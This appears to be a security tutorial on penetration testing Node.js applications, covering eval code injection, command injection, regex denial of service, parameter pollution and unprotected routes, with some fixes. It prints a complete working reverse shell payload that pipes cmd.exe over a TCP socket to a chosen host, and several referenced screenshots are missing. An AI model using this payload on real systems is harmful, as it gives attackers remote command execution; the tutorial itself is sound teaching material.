In this article, we will have a look at how to proceed when penetration testing Node.js applications or looking for Node.js specific issues.

Introduction

Node.js is a server-side language built on the top of google chrome’s v8 engine. It uses event-driven non-blocking I/O which makes it a perfect candidate for data-intensive applications. It runs on a single threaded server which also means any intentional/unintentional denial of service attempt will kill the server and leave all the clients offline, so better use multiple instances with load balancers. In this article, we will be looking at some vulnerabilities more specific to node.js and how to identify and exploit them in real world scenarios.

Information Gathering

Like any other information gathering phase of web applications, we will be looking into any weird cookie names[“connect.sid“], server headers and X-powered-By headers. As can be seen in the following screenshot, X-Powered-By header reveals that the application is running under Express framework. Further, we can now dig into framework/package specific vulnerabilities too.

Vulnerability Analysis and Exploitation

As of now, we have a slight idea for identifying node.js applications, let’s have a look at other vulnerabilities too. We will be looking into the following set of vulnerabilities:

  • Server Side Code Injection
  • System Command Injection
  • Regex DOS
  • HTTP Parameter Pollution
  • Unprotected Routes
  • Global Namespace Pollution
  • Cross Site Scripting
  • Insecure Components
  • Secure Code Review

Server Side Code Injection:

Code injection in Node.js also revolves around most famous function named “eval,” so never use eval function in your code, which also means that never insert user input directly in any of the system functions such as setTimeOut, setInterval, etc.

In our demo code, we have used eval to parse the type of parameter as in this case is an integer to add them later. The same can be overcome use parseInt function.

As can be seen, we were able to execute our payload and shutdown the application.

Reverse Shell

Further, we can use the following snippet of code to get a reverse shell on node.js applications.

function rev(host,port){
var net = require(“net”);

var cp = require(“child_process”);

var cmd = cp.spawn(“cmd.exe”, []);

var client = new net.Socket();

client.connect(port, host, function(){

        client.write(“Connected\r\n”);

client.pipe(cmd.stdin);

cmd.stdout.pipe(client);

cmd.stderr.pipe(client);

        client.on(‘exit’,function(code,signal){

            client.end(“Disconnected\r\n”);

        });

        client.on(‘error’,function(e){

            setTimeout(rev(host,port),5000);

        })

});

return /a/;

};rev(“127.0.0.1”,4444);

System Command Execution

While doing a code review of node.js applications, it is very important to look at functions used from the module name child_process, as this module covers all functionalities from spawning a new process to executing system commands.

As can be seen, we have created a demo application for the ping. However, there is no validation placed for ip parameter.

The above code can be exploited for system command execution simply as follows:

Regex DOS (Denial of Service)

Regular expression DOS mainly revolves around the term called Catastrophic Backtracking which implies on how regex engine searches for the defined pattern in user’s input. Let’s have a look at following example:

Here we are searching for the pattern with x’s ending with y’s, but there is one problem with this if our input does not end with y and instead it has more x’s, each x+ will start backtracking and end up being in a loop by executing more number of iterations to make sure there is no y’s in our input. In the following screenshot, we can see that for correct input, the execution time is less than one second.

Let’s provide only the number of x’s. As can be seen, the execution time increases to one second and remember Node.js is running one single thread so that it will cause a denial of service for all other clients using same application at a time.

HTTP Parameter Pollution

Node.js has this weird feature which allows taking more than one value for a single parameter. So, if there is parameter name email and if add one more parameter with the same name, the value of email parameter will contain two different values separated by a comma.

As we can see, we are just printing the value of email parameter here.

As shown here, when we provide values to two or more parameters with same name node.js concatenates them with a comma. This feature can be used to exploit parameter pollution vulnerabilities. An example can be email web client applications, where the application is expecting one value for email parameter, and you can provide one or more values.

Unprotected Routes

As most of the modern applications are built using MVC architecture, let’s first understand what this term means. MVC separates the application into three logical components Model, View Controller. This significantly helps developers and software architects to separate business logic from the application code. In simpler terms, when a request is sent to MVC based application the endpoint or URL where the request is sent to load the User interface called as VIEW and the endpoint responsible for loading view or performing any validation tasks on user input known as CONTROLLER. The data ends from the which the controller fetches the data known as MODEL.

All the URLs/Controller endpoints are called as routes embedded on routes files, and there is a router sitting in between which decided when the user hits http://www.example.com/abc which controller it has to trigger.

Now the problem arises in the case of authenticated/authorized and non-authenticated/unauthorized routes. From the name, we can determine authenticated/authorized routes are the ones which we can access after login or after a certain level of access.

To demonstrate this functionality, we have setup a popular testbed for nodejs application known as Nodegoat. It is demo Retirement application having multiple user roles. Where only admin can access the retirement benefits of other users.

As can be seen, the benefits route does not check whether the user is admin and thus any other user can access the retirement benefits of another user.

As can be seen, we logged in from a normal user, and there is no functionality named “benefits” for the normal user account.

We the login from an admin account and found out, this functionality can be accessed by admin users only.

To verify the above behavior, we again switched to the normal user account, and force browsed the benefits page and were able to access and modify its contents.

Fixing Unprotected Routes

We further add isAdmin middleware to the route to make sure only admin user accesses this page.

We again tried to access the benefits page, got redirected to the login page as defined in isAdmin middleware.

Conclusion:

In this article, we have discussed 5 out of 9 vulnerabilities; the remaining will be covered in second part of this article.

References:

InfoSec Institute